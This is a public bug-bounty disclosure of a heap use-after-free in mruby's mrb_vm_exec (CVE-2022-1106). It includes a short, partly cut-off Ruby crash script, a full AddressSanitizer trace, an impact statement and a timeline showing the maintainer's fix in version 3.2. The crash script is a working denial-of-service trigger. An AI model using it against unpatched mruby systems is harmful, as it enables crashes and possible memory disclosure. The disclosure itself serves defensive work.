use after free in mrb_vm_exec in mruby/mruby

0

Valid Reported on Mar 25th 2022

While fuzzing mruby I found a use after free in mruby compiled with ASAn.

Proof of Concept (uaf5.rb)

```
var1=([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,
var2=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]
var3=1.0
var4=-1.0
```

Here is the output from mruby ASAn binary

```
aldo@vps:~/mruby$ ./bin/mruby uaf5.rb
=================================================================
==64898==ERROR: AddressSanitizer: heap-use-after-free on address 0x61900000
WRITE of size 8 at 0x619000000130 thread T0
    #0 0x499399 in __asan_memcpy (/home/aldo/mruby/bin/mruby+0x499399)
    #1 0x6425c3 in mrb_vm_exec /home/aldo/mruby/src/vm.c:2822:17
    #2 0x6076bd in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12
    #3 0x600af4 in mrb_top_run /home/aldo/mruby/src/vm.c:3045:12
    #4 0x6b3615 in mrb_load_exec /home/aldo/mruby/mrbgems/mruby-compiler/co
    #5 0x6b4d3f in mrb_load_detect_file_cxt /home/aldo/mruby/mrbgems/mruby-
    #6 0x4cd46a in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mrub
    #7 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/c
    #8 0x41d77d in _start (/home/aldo/mruby/bin/mruby+0x41d77d)

0x619000000130 is located 176 bytes inside of 1024-byte region [0x61900000
freed by thread T0 here:
    #0 0x49a223 in __interceptor_realloc (/home/aldo/mruby/
    #1 0x596e6d in mrb_default_allocf /home/aldo/mruby/src/
    #2 0x538a23 in mrb_realloc_simple /home/aldo/mruby/src/gc.c:226:8
```

```
    #3 0x5f6b3b in stack_extend_alloc /home/aldo/mruby/src/vm.c:180:27
    #4 0x5f645e in mrb_stack_extend /home/aldo/mruby/src/vm.c:200:5
    #5 0x5fb720 in mrb_funcall_with_block /home/aldo/mruby/src/vm.c:543:9
    #6 0x5f922d in mrb_funcall_argv /home/aldo/mruby/src/vm.c:577:10
    #7 0x5f98e2 in mrb_funcall_id /home/aldo/mruby/src/vm.c:393:10
    #8 0x732bbf in mrb_cmp /home/aldo/mruby/src/numeric.c:1777:9
    #9 0x594f96 in r_check /home/aldo/mruby/src/range.c:39:7
    #10 0x58eb2d in range_ptr_init /home/aldo/mruby/src/range.c:80:3
    #11 0x58e824 in mrb_range_new /home/aldo/mruby/src/range.c:452:22
    #12 0x64256d in mrb_vm_exec /home/aldo/mruby/src/vm.c:2822:17
    #13 0x6076bd in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12
    #14 0x600af4 in mrb_top_run /home/aldo/mruby/src/vm.c:3045:12
    #15 0x6b3615 in mrb_load_exec /home/aldo/mruby/mrbgems/mruby-compiler/c
    #16 0x6b4d3f in mrb_load_detect_file_cxt /home/aldo/mruby/mrbgems/mruby
    #17 0x4cd46a in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mru
    #18 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/

previously allocated by thread T0 here:
    #0 0x49a223 in __interceptor_realloc (/home/aldo/mruby/bin/mruby+0x49a2
    #1 0x596e6d in mrb_default_allocf /home/aldo/mruby/src/state.c:68:12
    #2 0x538a23 in mrb_realloc_simple /home/aldo/mruby/src/gc.c:226:8
    #3 0x5392e9 in mrb_realloc /home/aldo/mruby/src/gc.c:240:8
    #4 0x5394d1 in mrb_malloc /home/aldo/mruby/src/gc.c:256:10
    #5 0x5396b2 in mrb_calloc /home/aldo/mruby/src/gc.c:274:9
    #6 0x5fc1e3 in stack_init /home/aldo/mruby/src/vm.c:109:28
    #7 0x6074a6 in mrb_vm_run /home/aldo/mruby/src/vm.c:1124:5
    #8 0x6008c9 in mrb_top_run /home/aldo/mruby/src/vm.c:3041:12
    #9 0x56daf0 in mrb_load_proc /home/aldo/mruby/src/load.c:713:10
    #10 0x7a72b7 in mrb_init_mrblib /home/aldo/mruby/build/host/mrblib/mrbl
    #11 0x72c015 in mrb_init_core /home/aldo/mruby/src/init.c:50:3
    #12 0x596fc3 in init_gc_and_core /home/aldo/mruby/src/state.c:34:3
    #13 0x532b71 in mrb_core_init_protect /home/aldo/mruby/src/error.c:588:
    #14 0x596ce7 in mrb_open_core /home/aldo/mruby/src/state.c:52:7
    #15 0x5971ad in mrb_open_allocf /home/aldo/mruby/src/state.c:91:20
    #16 0x59714b in mrb_open /home/aldo/mruby/src/state.c:75:20
    #17 0x4cbee8 in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mru
    #18 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/

SUMMARY: AddressSanitizer: heap-use-after-free (/home/aldo/
Shadow bytes around the buggy address:
```

```
  0x0c327fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c327fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c327fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c327fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c327fff8020: fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd
  0x0c327fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c327fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c327fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c327fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c327fff8070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==64898==ABORTING
```

Test platform

ubuntu 20.04 with clang 13

Impact

Chat with us

Denial of service, with a possible information leak / arbitrary memory read because of the

attacker-controlled address.

Occurrences

C vm.c L2822

CVE
CVE-2022-1106
(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
High (7.2)

Visibility
Public

Status
Fixed

Found by

Muhammad Aldo Firmansyah
@thecrott
legend

Fixed by

Yukihiro "Matz" Matsumoto
@matz
maintainer

This report was seen 704 times.

We are processing your report and will contact the **mruby** team within 24 hours. 8 months ago

Muhammad Aldo Firmansyah modified the report 8 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 8 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 8 months ago

Muhammad Aldo Firmansyah has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **7f5a49** 8 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

vm.c#L2822 has been validated ✔

Sign in to join this conversation